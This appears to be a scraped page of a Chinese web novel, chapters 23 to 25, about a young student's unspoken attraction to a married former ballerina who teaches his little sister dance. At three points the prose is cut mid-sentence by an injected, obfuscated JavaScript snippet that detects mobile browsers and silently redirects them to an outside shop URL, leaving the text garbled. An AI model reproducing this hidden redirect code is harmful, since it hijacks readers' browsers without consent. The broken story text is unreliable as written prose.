路边的花坛里,三色堇开得正盛,花瓣在暮色中依然鲜艳,仿佛在努力留住最后的光线。 这时,一只白色的蝴蝶翩跹出现。 它未曾停驻在任何一朵花蕊, 而是朝着原拓的方向飞来,从他身边飞过。 他追随着它看去。 一回头,便看见蝴蝶停驻在她发间, 变成了一条的白色耳机。 原拓心念一动,拿出手机, 翻出和柳冬意的短信记录。 「下次一起还。」 下次,会是什么时候呢? 一天,一星期,一个月,还是更久。 原拓说不清。 也说不清,该不该有这样的下次。 那晚柳冬意回复的半个小时里,他想了许多,想她是否到了家,她的丈夫是否在她进门时问她去了哪?关于那条意外留下的耳机,如果被问起,她又会怎样回答? 当然,她会如实相告。 本就坦坦荡荡的她,又有什么可隐瞒的呢? 可若是这样,他或许能很轻易地猜到,自己是如何像个小偷一样,怀揣着不可告人的心思,靠近她。 一阵风吹来,树叶纷纷乱,沙沙响。 原拓再度抬头,老香樟树硕大的树冠撑起密不透风的锈绿色,遮住了天空。 他长长叹出一口气,将手机塞回口袋。 大约是口袋太浅,也大约是心不在焉,手机竟从手中滑落,啪地一声摔在地上。 原拓赶忙弯腰捡起。 老款手机经不起摔,这一摔,就让外壳翘了起来。 他试图将它按回去,分明没有用力,指尖划过键盘时却不知误触了哪个按键。 屏幕倏地亮起,正在呼叫的提示不断闪烁,最近通话的名字赫然出现在眼前。 柳冬意。 原拓呼吸骤然停滞,大脑空白之下,本能地就去寻找挂断键。 可他的反应总是在关键时慢上一拍。 手指即将按下红色按键的瞬间,听筒里传来一丝细微的电流声,紧接着,一声清晰的呼吸传了出来。 电话…接通了。 23. Chapter23 “原拓?”听筒里传来柳冬意的疑惑,“怎么不说话?” 原拓握紧手机,喉咙滚了好几圈,才终于找回自己的声音,“抱歉…刚刚手机掉地上,不小心拨号出去了。” “这样啊,我还以为你是问希希的事情呢。” “希希?”他表情瞬间松开,紧绷的神经也松弛了下来,“她现在在您那吗?” “嗯,她刚刚放学过来,现在在更衣室里面换衣服。” 原拓记起,昨天秦姨跟自己打电话时是说过今天要送希希去舞蹈室来着。 “她…”他抓了抓后脑勺的头发,思索着该问些什么,“她上课一般要上多久?” “一个小时左右吧。”柳冬意说。 原拓拿开手机,看了眼现在的时间。 “那您…吃过晚饭了吗?” 说完,他的手从后脑勺放下,又立马不自在地抬起,翻来覆去的动作像是在驱散这因莫名其妙转移话题而尴尬的空气。 电话那头的柳冬意沉默了一两秒,仿佛也是需要这点时间来适应话题是怎么从希希的课程拐到自己的晚饭上。 见状,原拓赶忙找补了句,“我怕希希上课太晚,耽误您吃晚饭了。” “我晚餐通常吃得比较简单,随便什么时候吃都一样。”她终于说。 “…这样啊。” “你呢?”她反问,将话题自然地接了下去,“感冒怎么样了?” “已经退烧了,”听到她的关心,原拓僵硬的手终于彻底放下,迈步向前走去,“现在感觉好多了,应该没什么问题了。” “那就好,现在是在外面吗?” 他下意识往四周看去,才发现自己刚刚穿过一个篮球场,大约是他们的吵闹传到了手机里。 “嗯,刚刚在外面吃完饭,现在准备回学校。” 不知怎么的,他又鬼使神差地补充了句,“是和组乐队的朋友一起吃的。” “这么说,你们的乐队已经组好了?” “对,名字叫红三剁。” 话音刚落,原拓正好走到人行道前,此时绿灯只剩下最后十秒倒计时,闪烁的小人催促着行人快步通行。 他本能地想要加快脚步赶过去,下一刻,耳边传来了她轻柔的笑声。 他脚步猛地一顿,就这样停在了斑马线的起点,眼睁睁看着倒计时结束,红色的小人亮起。 留出下一个等待的周期,只为她的笑声,能让他听得更清。 “是个菜名吗?”柳冬意问。 “对,”原拓嘴角扬起一个弧度,向她解释,“因为我们想了半天都不知道取什么名字,就决定把上来的第一道菜当做乐队名字。” “其实,最开始第一道上来的是猪脚汤。” 他笑着继续说,将这个小插曲,完完整整地分享给她听,“不过我们都觉得不太合适,就换第二道了。” 听筒里,起初只是闷闷的低笑声,可当听到猪脚汤时,那笑声突然像被戳破了的气球似的,噗嗤一下漏了出来。 “猪脚汤也还不错,”她的声音还带着未散的笑意,尾音扬起,语调轻盈,“起码跟电光皮蛋比起来,还是要挺好听多了。” 上次发着高烧,原拓没有留下太清楚的印象,现在他却听得分明。 电话里她的音色没有多大变化,但此刻站在被暮色笼罩的街头,世间万物都被天边最后那抹瑰丽的霞光打上了一层暖绒绒的滤镜。 当然,也包括她的声音。 绒绒地拂过耳边,撩起丝丝痒意。 回过神,原拓不自然地干咳了一声,将发烫的手机换到另一边,“电光皮蛋?那是什么?” “嗯…”她拖长语调,卖了个小关子,“你可以去问问绘珊,她会很乐意告诉你的。” 原拓愣了一下,随即也明白过来这古怪名字的出处,也忍不住笑了一声,“好,那我有机会问问珊姐。” 前方绿灯再次亮起,人群开始流动。 与此同时,电话那头也隐约传来说话的声音。 “希希换好衣服出来了,”柳冬意的声音稍微远了些,似是在侧头和希希说话,“我把手机给她了。” 原拓还没来得及应,瞬息功夫,听筒里就传来了希希兴奋的声音,“哥哥,是你吗!” “是我,”他跟着人流向马路对面走去,“秦姨跟你一起过去的吗?” “嗯嗯,她现在在教室外面等我。” “吃过晚饭了吗?” “吃过啦,我们在外面吃的肯德基!” 听到又是这个餐厅,原拓失笑,“这么爱吃肯德基,那下回我再带你去。” “好耶!”听到自己还能再吃一次,希希的声音都扬了几度,“哥哥,我跟你说,老师给我买了一件特别特别漂亮的裙子,专门在跳舞的时候穿的,上面还有水晶天鹅的图案。” “是吗?这么好看啊,”他配合着发出惊叹,“那你好好谢过老师了吗?” “嗯,我跟老师说谢谢了,妈妈还说晚上要买菜,明天要带过来给老师。”希希认真地汇报。 原拓愣了一下,不过很快就明白过来秦姨的心意,“我知道了,你好好听话,要认真跟着老师学知道吗。” “知道啦,我会认真的,那我把手机还给老师啦,哥哥拜拜!” “拜拜。” 等原拓走过拐角,身边的行人渐渐稀疏,听筒里,重新传回了柳冬意的声音,“刚刚希希说的买菜,是什么意思?” “应该是秦姨想感谢您对希希的照顾,所以要自己做点家常菜给您送过去。” “啊,真的不用这么客气的,你跟她说一下,千万别麻烦…” “不麻烦,”原拓温声打断了她,“您不是也这样跟我说过吗,而且秦姨不会觉得麻烦的。” 对面沉吟片刻,似是在考虑。而此时,原拓也已经不知不觉走到了一个熟悉的地方。 那晚和她一起躲雨的屋檐。 是家咖啡店,门大开着,几对情侣进出。 他们肩并着肩,穿过那道窄窄的屋檐。 原拓后知后觉,那一刻,他们之间有多近。 又有多…远。 “好吧,”柳冬意终于再次开口,打断了他的恍神,“我会好好收下的。” 她的接受让原拓松了口气,他继续迈步向前走去,接起方才的话题,“秦姨做饭挺好吃的,您口味清淡的话,应该会喜欢。” “这么说,明天我有口福了。”她轻笑。 “额…嗯,”原拓挠挠头,搜肠刮肚半天,最后还是只挤出朴实的几个字,“希望能合您的口味吧。” “好,那…我就先带希希去上课了?” 这句话像是小小的提醒,让他意识到,自己这通意外电话,耽搁了她许多时间。 “啊,好,您挂吧。”他连忙说。 “嗯,拜拜。” “您…”他顿了顿,一个模糊的念头绕在嘴边,还是咽了回去,“拜拜。” “怎么了?”柳冬意却是捕捉到他的欲言又止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822434|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “…没什么。” 电话两端忽然有了一小片沉默的空白。 “好吧,”柳冬意的声音淡了些,“那我就先挂了。” “嗯,好。” 耳边传来电话挂断的提示音,单调而空洞。 夕阳彻底落幕,远处的天际只余下一片朦胧的绛蓝色,城市在日落的余韵中慢慢点亮,原拓停下脚步,望向前方华灯初上,却不见尽头的大街。 其实这条街很短,他走过很多遍。 至多十分钟,脚步快一点,七八分钟也可以。 七八分钟,只是他们通话记录的一半时间。 很快就过去。 很慢才走完。 回到宿舍,原拓将顺路买的晚餐交给张博远,换来一声夸张的谢主隆恩。他笑了笑,脱下外套放在一旁的椅背上,正要从柜子里收拾衣物去洗澡时,口袋里,传来叮的一声。 他动作一顿,直起身,从外套里拿出手机。 是一条短信,来自柳冬意。 「这周天下午两点希希要去剧院排练,到时候家长都可以过来观看,你如果想来的话,到时候我把耳机和伞一起还给你。」18:35 原拓眼皮一跳,他没想到这个下次来得这样快,快到让他措手不及。那些尚未整理的思绪和心情,根本不足以支撑他再次面对她。 至少,无法坦荡地面对她。 他的手指在按键上悬停,拼出一行字,“周末我要排练,可能没有空…” 合情又合理的理由。 可发送键就在拇指下方,怎么也按不下去。 犹豫又迟疑,迟疑又犹豫。 就在这时,手机再度震动。 一条彩信送达。 同样来自柳冬意。 像是找到了一个喘息的当口,他将犹豫暂时搁置一旁,赶忙按下读取键。 图片加载了好几秒,而后,一张照片出现。 照片里,希希穿一身紫白色的舞蹈服,正对着摄像头比剪刀手,而胸口那个亮晶晶的天鹅图案,衬得她脸上的笑容也闪闪发着光。 原拓嘴角微弯,视线向照片的边缘看去,尽管画质很模糊,但他还是一眼就能看见,倒映在侧边的落地镜里,那抹高挑的身影。 她身着一袭蓝白色长裙,低头看向希希的方向,脑后盘起低低的发髻,几缕碎发垂在她的颈间。 他眼神微颤,手指动了动。 照片保存成功。 短信已发送。 “哥哥会过来吗?” 柳冬意关掉手机,放回窗台。 “嗯,他说他会准时过来的。” 希希高兴地蹦了一下,“那我一定要好好表现,让哥哥看我跳得有多棒!” “好啊,”她弯起嘴角,眉眼带笑,“那咱们开始练习吧。” 一个小时的训练结束,柳冬意带希希去淋浴间洗漱干净,才将她和秦容芳送到了楼下。 看着母女俩手牵着手慢慢消失在夜色的人群和车流中,她轻轻呼出一口气,转身,往家的方向走去。 习惯性走进那家熟悉的便利店,她抬手向货架上那熟悉的位置伸去,可就在指尖触及到饭团的瞬间,冰凉的触感,在柳冬意的脑海里弹出一条短信。 「好的,我会准时到。如果方便的话,您晚餐可以多吃点,对胃好一些。」18:45 柳冬意的手在空中停顿了一秒。 然后徐徐下移,越过了饭团的位置,拿出下面一层荤素搭配的便当,转身向收银台走去。 24. Chapter24 周天上午9点半,原拓和张博远跟着何风穿过狭窄的通道,推开一扇锈迹斑斑的铁门。 门后是一个挑高的空间,墙壁上布满斑驳的水渍和发霉的痕迹。黑漆写下的英文单词和骷髅头重叠在一起,爬满了四面高墙。 “嚯,这地方挺酷啊。”张博远赞了句,“你们从哪找到的。” “斯贝找的,我们看一直没有人来过,就把这里当排练室了。” 原拓放下吉他包,看向角落已经架好的架子鼓,“黎斯贝呢?” “她说她早上突然有点事,”何风不好意思地挠挠头,“不过应该马上就到了。” “没事,那就等一会吧。” 两人这头说着话,那头张博远走到了架子鼓旁,用手指轻轻敲着踩镲的边缘,发出细微声音。 “学霸,这是你的鼓啊?”他转头问。 何风摇头,“这是斯贝的。” “真的假的,”张博远眼睛一亮,“我还第一次见打架子鼓的女生,牛啊。” 何风嘴角微微上扬,还想要说些什么时,一串急促的脚步声从外面传来,紧接着,地下室的门被一把推开。 “抱歉抱歉,处理了点私事。”黎斯贝气喘吁吁地扶着墙,一看就是狂奔过来的。 何风见状,赶忙放下手里的吉他,拧开矿泉水递了过去。 猛灌了一大口水,呼吸稍微缓过来些,黎斯贝注意到架子鼓边的陌生面孔,“你是?” 原拓解释,“这是我昨天和你们说今天要过来说室友,张博远。” 张博远配合着抬手,“嗨~” 黎斯贝记起来,一边走向架子鼓,一边问:“你会什么乐器不?” “那个…”他叉腰的双手放下,讪讪道,“吹口哨算吗?我能用口哨吹一整首歌呢。” 她噗嗤一笑,“你这人真有意思,诶,上次说好了今天我迟到,待会午饭我来请。” “那哪能,我来请,”张博远豪爽地拍拍胸脯,“不能白看你们的表演不是。” “这么大气,”黎斯贝也不跟他推辞,“那行,作为回礼,我就把我们乐队排练的第一首歌交给你选择。” 张博远满口答应,掏出手机就开始选歌。 两人的互动原拓都看在眼里,他下意识看向坐在边缘一直没说话的何风,对方正垂着头,手上扒拉着吉他上的弦,发出几声闷闷的弦音,全然一副心不在焉的模样。 “何风。”他喊了一声。 何风抬头,眼神恍惚,“怎么了?” “吉他好像还没插到音响上。” 他看向地上,果然有一节黑线。 “哦哦,好,谢谢。” 等何风插好吉他,张博远也选完了曲子,是原拓之前在酒馆里唱过的,三人都很熟悉的歌。 前奏的木吉他响起,何风的吉他和黎斯贝的鼓声一齐跟上。暂时没有麦克风,原拓也没开口唱。 不过唱不唱的也没有什么差别,乐器与乐器之间抢拍漏拍错拍的声音,就已经听得人耳花缭乱,根本无暇顾及其他。 特别是何风的吉他,弹错了好几次音,仿佛游离在旋律之外沉浸在自己的轨迹里。 黎斯贝吼了他好几次,才终于回到了正轨。 不知不觉,两个半小时过去,三人才终于在最后一首歌的副歌部分奇迹般地对上节拍。 “看到没有!刚刚咱们合上了!” 黎斯贝兴奋大喊,手中的鼓棒高高举起。 “不容易啊不容易,”张博远将手从耳边拿开,“终于有首能听的了。” “我们这是第一次排练,对不上拍很正常。”黎斯贝回怼他,而后看向两人,“怎么样,还要再来一遍吗?” 原拓看了眼时间,已经十二点了,从这里到希希排练的剧院要坐一个半小时的车,他耽搁不了太多时间。 “可以,”他满脸歉意,“但排练完这一首我可能就要走了。” “啊?你不跟我们一起吃饭啦?”张博远问。 “嗯,你们吃吧,我妹妹今天下午排练,我要过去看看。” “行吧,”黎斯贝摊手,“那咱们最后一首练啥?” 三人互相看了看,似是都在抉择,想了半天,最后还是让张博远来敲定的最后一曲。 吉他和鼓声响起,原拓清了清嗓子, 尝试着,小声地,进入旋律。 “走在风中,今天阳光突然好温柔…” 唱到第二句时,他下意识抬眼, 从高墙上的涂鸦缝隙里,看见向窗外。 天很温柔,地也温柔。 音乐的余韵还在,坐上公交车后排, 没有耳机的世界,都温柔了起来。 “柳老师。” 柳冬意正在跟工作人员核对音乐,听到声音,她回头看去,正是秦容芳。 和工作人员确认后,她走了过去。 “秦姐,希希呢?” “她被另一个老师带过去了,”秦容芳递上手里的保温壶,“这个是我熬的山药排骨汤,排骨是早上新鲜买的,待会结束了你带回去喝吧。” “这怎么好意思,”柳冬意不自觉后退了半步,神情中满是惶恐,“上次您已经送过一次了,真不用这么客气的。” “收下吧柳老师,你每天受累教希希跳舞,我心里也过意不去,只能做点这些吃的喝的送给你。” 看着秦容芳脸上局促的笑意,柳冬意微微抿唇,思索片刻后,抬手接过了那保温桶。 “那就谢谢您了。” 秦容芳的表情松了下来,“不用谢,柳老师你要是有什么喜欢吃的菜也可以告诉我,下次我给你做了带来。” “我不怎么挑食,”柳冬意笑着说,“而且您的手艺真的很好,肯定做什么菜都很好吃。” “你能喜欢就行,”秦容芳往观众席看了看,“对了,原拓他到了吗?” “他不是跟你们一起过来吗?” “没有,他是从学校那边过来,我还以为他会提前到呢。” 柳冬意拿出手机看了眼时间,距离排练时间还有十分钟,“应该快到了,我先带您去那边的观众席坐吧。” “诶,好。” 安顿好秦容芳,柳冬意来到后台的休息室,柳荨正在里面给孩子们讲待会排练的注意事项。 等说完,差不多也到了排练时间,两人便同其他老师一起将所有孩子带到了舞台上。 由于她们都没什么经验,剧院的老板还特意找来专业人士负责他们的音响和灯光工作。 “这徐老板人还挺好的,”柳荨抱起双臂,目光不离台上的孩子们,“堂姐,你说咱们要不要请她吃个饭表示一下?” “我上次也提过了,她说不用,所以我想要不咱们买个贵重点的礼物送给她。” “行,那绘珊姐的哥哥呢?” 柳冬意双手背在身后,该怎么答谢唐文聿,这的确是个难办的事情。真的请他吃饭吗?上次他应该也只是客套性地随口一应吧。 毕竟他们之间除了绘珊,也没什么共同话题和交集。 “到时候我问问绘珊,看他喜欢什么东西,也顺便买个礼物送给他吧。” “好,那麻烦你了堂姐。” “没关系。” 两人谈话间,第一场排练正好结束,接下来就轮到柳冬意负责的《天鹅湖》。 调整好队形,音乐响起。 十二个孩子像初生的天鹅,挥动自己的羽翼。 柳冬意的目光不自觉看向希希,虽然只训练了一个星期,且还是初次排练,但她的肢体动作却一点也不僵硬,完美地融进了动作里。 再加上她长得高,表情也格外灵动,即便放在十二个穿着一样的孩子里,也能一眼让人注意。 舞蹈结束, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827605|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台下响起阵阵掌声。 十二个孩子连成排,手牵着手,向台下鞠躬致谢。 柳冬意走上舞台,“大家表现得都很不错,但还是有几个人在第三节和第四节抢了拍,待会排练的时候一定要集中精神注意听拍子,知道吗?” 看到她们认真点头,她拍了拍手,“先休息十分钟,十分钟后咱们再排练一次。” 孩子们小小地欢呼一声,大部分跑向台下找自己的家长,也有几个孩子留在台上,围着柳冬意叽叽喳喳地说着刚才排练的兴奋和紧张。 “老师,”一个清脆的声音响起,是希希,“我们休息的时候,你能跳舞给我们看吗?” 其他孩子听到这个提议立即附和,“对啊对啊,我们想看你跳舞,老师跳给我们看可以吗?” 另一个扎着马尾辫的女孩也跟着说,“老师每次都是示范动作,都没看过老师跳过完整的舞…” 孩子们接二连三地请求着,一双双期待的眼睛望着柳冬意,让她那些拒绝的话全都堵在喉咙,一个字也说不出了。 “怎么了?说什么呢?”柳荨走了过来。 一个孩子回答:“我们想让柳老师跳舞。” “是吗?”柳荨眉头一挑,转头望向柳冬意,“堂姐,学生们这么期待,要不你就跳一次看看?” 柳冬意扫过那一个个眼巴巴的孩子们,表情有些为难,“可我没有带鞋子。” 见她有松动,柳荨忙说:“我正好带了,就放在后台。” 话都说到这个地步了,柳冬意也只好答应下来,“好吧,那我去换鞋子。” 等她换好鞋子回来,柳荨已经带着孩子们坐到了观众席,家长们也都好奇地向她张望。 来到舞台中央,她没有去看台下的人。 这是她的习惯,或者说,进入角色的习惯。 可柳冬意低头看着鞋尖,看到的仍然是自己。 咚的一声,音乐响起。不是预想中的《天鹅湖》,而是《吉赛尔》第一幕变奏曲。 柳冬意心脏一紧,她知道这肯定是柳荨的主意,她很清楚《吉赛尔》是自己的拿手戏。 可是… 来不及可是,肌肉记忆已经带着她进入节拍。 许是这段时间的训练起了效果,前半部分跳起来很顺畅,但柳冬意的心却一直提着,所以即便跳得再好都没办法进入吉赛尔的情绪。 她知道,她在等小跳,吉赛尔也在等。 再有一拍,旋转过后,便是那个总让她戛然而止的小跳部分。 柳冬意绷直身体,闭上了眼睛。 在这里停下吧。 反正也只是示范,就此停下也没关系。 音乐已经到了旋转节拍,柳冬意睁开眼睛。 她看到了观众席,看见了他们赞叹的表情。 可有一个人却不一样,即便在人群最后方的阴影里,柳冬意仍看清了他专注的眼睛。 在那双眼睛里,音乐和人声仿佛被抽离。抽出一小段空隙,让她回忆起自己第一次跳《吉赛尔》的经历。 那时她还很年轻,不能理解吉赛尔因背叛心碎而亡的爱情,所以总是跳不出来老师想要的情绪。 老师没有跟她说去爱一个人,去谈一场恋爱这种话。而是让她想象踩在一片柔软的云里,每一次跳跃,这片云都会稳稳地接住自己。 她牢牢记住了这句话,之后的无数次表演里,她都会把陷入热恋的吉赛尔交付给这片云。 而此刻,没有阿尔伯特,没有谎言与背叛。 只有她,只有吉赛尔, 以及那片在起跳后稳稳接住她的,柔软的云。 跃起,悄无声息。 掌声如潮水般响起。 柳冬意的目光再次与最后排那双眼睛相遇。 她唇角浅浅弯起,屈膝,致意。 给台下的观众,也给那片温柔的云。 25. Chapter 柳冬意穿过一排排空座位走来时,原拓正望着舞台上散场后零落的灯光设备出神。 直到她的身影进入余光,他才梦醒般,立刻从座位上弹了起来。 “怎么不到前面去和秦姐一起?” “没事,后面也看得很清楚。” 她笑了笑,“什么时候过来的,希希排练的时候都还没看见你。” “刚刚才到的,”他声音里带着歉意,“今天上午乐队有排练,所以迟到了一会。” “乐队排练?那没耽误你的事情吧?” 原拓连忙摇头,“没有,是我自己没有安排好时间。” 柳冬意没有停留在过道,而是侧身,坐在了他旁边的位子上,“那排练的情况怎么样,还顺利吗?” 座位与座位之间,隔得很近。 原拓看见的手肘,仅与她分寸的距离。 他的腰背瞬间挺直,老实回答,“我们之前都没有过组乐队的经验,所以都不知道怎么配合对方,结果也不是很好。” “第一次排练是这样的,希希她们刚开始的时候也是跳得很乱,不过时间一长就会慢慢默契的。” “嗯,这个我明白。” 他目光投向前方的舞台,像是下了很大决心,才低声问:“刚刚您跳的舞…是什么?” “《吉赛尔》,怎么了?” 原拓抿抿唇,“就是觉得您刚刚跳的舞很专业。” 柳冬意略带好奇地侧头,“专业?从哪里看出来的专业?” 他思索片刻,斟酌着字句,“看您跳舞的时候,能感觉到角色是真实存在的,那种开心的情绪在您身上也是真实存在的。” 话音落下,空气仿佛凝滞了一两秒。 他忍不住转头看去,恰好撞上柳冬意的目光。 她正静静看着自己,目光沉静如水。 他张了张嘴,想要解释清楚自己的词不达意,最后却也只是抬起手,有些尴尬地摸了摸后颈。 “你是想说,我不是在表演开心,而是真的开心,对吗?” 听她轻易理解自己的意思,原拓突然很想找个地缝钻进去,“抱歉,我好像总是说一些很奇怪的话。” “没关系,我上学的时候还是挺喜欢做阅读理解的。” “啊?什么意思?” 看他这副愣怔的模样,柳冬意不禁失笑。 “看得出来你语文很差了。” 话音落下,原拓看见她抬起右手,朝自己伸了过来。紧接着,他感受到一阵细微的风落下,拂过额前的几缕黑发。 而后,他便清晰地感受到,她指尖的温度如何一点一点渗透进肌肤,与自己的体温交融。 原拓下意识屏住了呼吸,怔怔地抬起眼,视线有些模糊地聚焦在眼前的柳冬意。 她那么近,咫尺之间,触手可及。 近到一切无关的东西都被推得好远好远。 舞台上的音乐,周围的说话声,甚至方才还有些纷乱的思绪,都像退潮般远去。 让他的整个世界,都被一种温柔的力量收束,最终只剩下,且只需要容纳一个人的余地。 可只是一瞬间,短短的一瞬间,短到原拓还来不及感受更多,那只手就已经收回。 离开的瞬间,空气中好似被她的指尖拉扯出一道无形的丝线,牵引着他,想要向前,再靠近一点。 见原拓眼睛瞪得浑圆,直愣愣地看着自己,柳冬意才猛地意识到这个举动有多么失礼。 借着他发愣的间隙,她快速将手收回膝上,借由整理裙摆的动作摆脱指尖那不寻常的触感,语气尽量维持着方才的轻松,尾音却泄露了一丝颤动。 “抱歉,大概是这段时间当老师当习惯了,把你也当成学生了。” “没事,”原拓喉结不受控制地滚动几圈,下意识地胡诌了一句,“我…我语文老师也经常这样拍我的头来着。” 随即,他立马撇开视线,低头死死盯着地面上那束从座椅缝隙里溜出来的虚光,掩盖那股快要从脖颈蔓延到脸颊的热意。 两人都没说话,交谈便突兀地断在了这里。 一阵沉默悄然降临。 并非完全的安静,舞台上排练的音乐,观众席说话的声音都回到了它们原本的轨迹,却反而让彼此呼吸的节奏变得更清晰。 方才那温热的触感似乎还悬浮在两人之间的空气里,织成一张无形的网,将那些未尽的言语和加速的心跳都笼罩其中。 原拓的视线仍牢牢钉在地面那束光影,仿佛能从中钻研出什么可以打破尴尬的话题。 但大脑却一片空白,只剩下额头上那微凉的,已然消散的触感又开始隐隐发烫。 短短的几秒,被无声的心绪拉得无比漫长。 “其实你唱歌的时候,也是这样的。” 柳冬意突然开口,收束了这张沉默的网。 “什么?”原拓一愣,没反应过来。 她眉眼弯起,再度望了过去,“能让人听懂你的情绪,和歌词里想表达的感情,很专业。” 原拓被她的目光看得有些羞赧,撇开了视线,声音低低,“谢谢。” “我也谢谢。” 这过分礼貌,近乎幼稚的对话,像一场小心翼翼的互相试探,又像一种心照不宣的掩饰。两人对视一眼,都不自觉地笑了一声,让方才那点微妙的尴尬瞬间消散在空气里。 “所以,您之前不是老师吗?”原拓接起话题。 “不是,”柳冬意回身靠进椅子里,“是个芭蕾演员。” “那是…什么时候的事情?” 她想了想,“从十六岁第一次登台表演到两年前退役,有十四年了吧。” 十四年,原拓瞳孔一震。 也就是说… 其实他并非没有想过柳冬意的年龄。 只是他没想到,两人之间会差得这么多。 十一岁,几乎是他现有生命的一半长度。 “没想到我会比你大这么多吧?”柳冬意仿佛看穿了他的心思,突然开口,语气里带着一丝调侃。 “嗯,”他没有否认,因为知道自己说不出什么漂亮话来,“不过想到您能从小学三年级一直坚持跳到现在,更多的还是震撼吧。” 柳冬意没想到他还记得这件事,声音里有些许感慨,“那个时候我也没想到自己能跳这么久,跳着跳着,二十多年就这样跳过去了。” 她的目光投向空荡的舞台,眼神有些悠远。 原拓歪头看她,看她被远处灯光勾勒出的柔和侧脸,看她投向舞台的目光被映得发亮。 “那…为什么会退役呢?” 他鬼使神差地问了一句。 问完,他便看见柳冬意的眉眼倏然垂了下来,他猛地意识到,自己好像又问了什么不该问的问题。 “抱歉,”他赶忙道歉,“是我问太多了。” “没关系,”柳冬意摇摇头,放在膝上的手不自觉合拢,轻声说,“也没什么,因为要结婚了,不想总是异地所以就选择退役了。” 原拓眼皮一跳,视线不受控制地看向她右手无名指上的婚戒。 放弃了坚持十四年的事业,是因为想留在丈夫身边吗?而那个男人,仅仅也只是因为这个原因将她留在了身边吗? 为什么呢?是因为爱吗? 可爱情是这样自私的东西吗? 如果是的话,他抬眸去看柳冬意, 那为什么,她看起来一点也不开心呢? 没等他深想下去,她站起身,表情依旧平静,只是嘴角扯出的笑容有些生硬,“时间差不多了,我得过去看她们排练了。你什么时候走?我待会把耳机和伞给你。” 原拓也跟着她站起,“我不着急,等您有空了再给我就行。” “那好,你在这…” 她的话还没说完,一声呼唤从观众席后方入口处传来。 “柳老师。” 原拓本能地跟着柳冬意一起朝身后看去。 入口处的光线下,站着一男一女。 那个女人他没见过,而站在她身旁穿着深色西装的男人,原拓记得很清楚,是珊姐酒馆开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833396|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业那天,和柳冬意一起出现的那个男人。 “抱歉,我先过去了。” 匆匆留下这一句,柳冬意便转身朝着那两人的方向走去。 原拓站在原地,看着她的背影。 她走到那两人面前,他只能看得见她的背影,和那个男人望向她时,专注而柔软的眼睛。 他忽的想起方才那个问题。 爱情,真是那么自私的东西吗? 他说不清。 但在这一刻,他的答案是肯定。 就在原拓的目光即将移开之际,那个站在柳冬意对面的男人,似乎察觉到了他的注视。眼睛陡然抬起,越过她的肩头,望向站在后排阴影里的他。 两道目光在空中相遇。 突如其来的对视让原拓心头一跳,他几乎是本能地想要避开,但某种隐秘的自尊心又让他硬生生拦住了自己,努力维持着表面的镇定,迎上那道的视线。 然而,那男人的注视只在他身上停留了一瞬,没有探究,更没有敌意,更像是一种属于另一个世界和年龄段的疏离与确认。 而后,那份专注和柔情再次落回他眼前的柳冬意,将方才那片刻的审视掩盖得无踪无影。 只剩他一个人,孤零零地站在这里。 “原拓。” 柳冬意的声音将他从混沌中拉回,他迅速敛去眼底翻涌的情绪,看向正朝自己走来的她。 “怎么了?” 声音出口,被喉咙挤得发紧。 “我待会要走了,你在这里等一下,我去把耳机和伞拿过来给你。” 原拓本想说不用,可不等他开口,柳冬意就已经跑向后台的侧门,身影消失在通道里。 他站在原地,放在腿侧的手用力地攥紧。 那个男人,会在看自己吗? 原拓却不敢回头确认,他怕那把刀真的刺向自己,而此刻的他毫无还手之力。 后台休息室里,成堆的演出服像小山一样堆在衣架和长凳上,一片凌乱。 柳冬意凭着记忆走到自己之前休息的角落,在一堆蓬松的白色纱裙里找了半天,都没看到自己的包。 “堂姐,你怎么在这?” 柳荨刚从前台结束工作。 “我有点事,你看见我包了吗?” 柳冬意头也不抬,语气有些着急。 柳荨走到自己位子看了看,“没有,怎么了,出什么事了?” “徐老板和文聿哥来了,他们说有些事想和我谈谈,我得提前走了。” 说完,柳冬意才终于在一件天鹅绒幕布下找到了自己的包。 “啊?”柳荨一惊,“那我是不是要过去打个招呼比较好?” 把包挎到肩上,她整理了一下微乱的头发,“行,那你跟我一起过去吧。” 两人快步回到舞台前的观众席,柳冬意从包里拿出耳机和那把折叠得整整齐齐的雨伞,目光在观众席里扫了一圈,却没看到原拓的身影。 “你找谁吗?”柳荨问。 “刚刚在这里有个穿黑衣的男生,很年轻,你看见他人了吗?”她又朝后排和角落看了看。 “穿黑衣服的男生?”柳荨回想了一下,“哦,是刚刚和你聊天的那个吗?好像是看见他在这里来着,怎么突然不见了?” 柳冬意蹙起眉头,又在人群中仔细搜寻了好几遍,依旧一无所获。 她拿出手机,想要给他打电话。 屏幕亮起,有原拓的一条未读短信。 